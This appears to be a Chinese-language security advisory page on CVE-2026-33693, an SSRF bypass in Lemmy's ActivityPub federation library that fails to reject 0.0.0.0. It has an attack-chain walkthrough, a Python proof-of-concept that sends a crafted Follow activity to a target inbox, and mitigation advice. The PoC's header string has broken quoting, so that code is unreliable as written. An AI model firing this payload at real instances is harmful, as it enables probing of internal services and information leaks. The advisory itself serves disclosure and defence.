IPBUF安全漏洞报告
English
CVE-2026-33693 CVSS 6.5 中危

CVE-2026-33693 Lemmy SSRF防护绕过漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33693
漏洞类型
SSRF (服务端请求伪造)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Lemmy

相关标签

SSRFLemmyRustCVE-2026-33693BypassActivityPub

漏洞概述

Lemmy 项目中的 `activitypub-federation-rust` 组件在 0.7.0-beta.9 之前的版本中存在安全漏洞。其 `v4_is_invalid()` 函数未正确校验 `Ipv4Addr::UNSPECIFIED` (即 0.0.0.0),导致未经认证的远程攻击者可利用此缺陷绕过针对 CVE-2025-25194 的 SSRF 防护机制,从而探测或访问目标服务器本地的内网服务。

技术细节

该漏洞核心在于 `activitypub-federation-rust` 库中 `src/utils.rs` 的 `v4_is_invalid()` 函数存在逻辑缺陷。尽管该函数旨在防御服务端请求伪造(SSRF),但它遗漏了对 `Ipv4Addr::UNSPECIFIED`(即 0.0.0.0)地址的合法性校验。攻击者可以控制一个恶意的远程 ActivityPub 域名,将其指向 0.0.0.0。由于 0.0.0.0 在网络栈中常被解释为本地回环地址,这使得攻击者能够成功绕过针对 CVE-2025-25194 实施的 SSRF 防御补丁。通过发送包含恶意域名的 ActivityPub 交互请求,未经认证的攻击者可诱导服务器向本地敏感服务发起请求,从而造成信息泄露或内网探测。

攻击链分析

STEP 1
步骤1:准备恶意环境
攻击者配置一个恶意的 ActivityPub 域名或 Actor,并将其 IP 地址解析或直接指向 0.0.0.0。
STEP 2
步骤2:发送恶意请求
攻击者向目标 Lemmy 实例的 `/inbox` 接口发送一个 ActivityPub 请求(如 Follow 请求),其中 `actor` 字段包含指向 0.0.0.0 的 URL。
STEP 3
步骤3:触发验证逻辑
目标 Lemmy 实例接收到请求后,根据 ActivityPub 协议尝试获取 Actor 信息以进行验证。
STEP 4
步骤4:绕过 SSRF 检测
`v4_is_invalid()` 函数检查 URL 的 IP 地址,但由于未排除 0.0.0.0,检查通过,系统认为该地址合法。
STEP 5
步骤5:访问本地服务
Lemmy 实例向 0.0.0.0 发起 HTTP 请求,该请求被路由到服务器自身的本地回环接口,攻击者成功探测或攻击本地服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-33693: SSRF via 0.0.0.0 in Lemmy # This script simulates sending a malicious ActivityPub object pointing to 0.0.0.0 import requests import json # The target Lemmy instance inbox URL target_inbox = "https://<target-lemmy-instance>/inbox" # Malicious actor URL pointing to 0.0.0.0 (Localhost) malicious_actor = "http://0.0.0.0:8080/actor" # Construct a basic ActivityPub Follow request payload = { "@context": "https://www.w3.org/ns/activitystreams", "type": "Follow", "actor": malicious_actor, "object": "https://<target-lemmy-instance>/u/admin" } headers = { "Content-Type": "application/ld+json; profile="https://www.w3.org/ns/activitystreams"" } print(f"Sending payload to {target_inbox}...") print(f"Payload: {json.dumps(payload, indent=2)}") try: # The server will attempt to fetch the 'actor' URL to verify it. # Due to the bug, it does not block 0.0.0.0, leading to an SSRF condition. response = requests.post(target_inbox, json=payload, headers=headers, timeout=10) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"Request failed: {e}")

影响范围

Lemmy < 0.7.0-beta.9

防御指南

临时缓解措施
如果无法立即升级,建议在网络边界(如防火墙或反向代理)上限制服务器对 0.0.0.0 及本地回环地址的出站访问。同时,严格监控入站的 ActivityPub 请求中包含的 URL,过滤指向内网 IP 或 0.0.0.0 的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表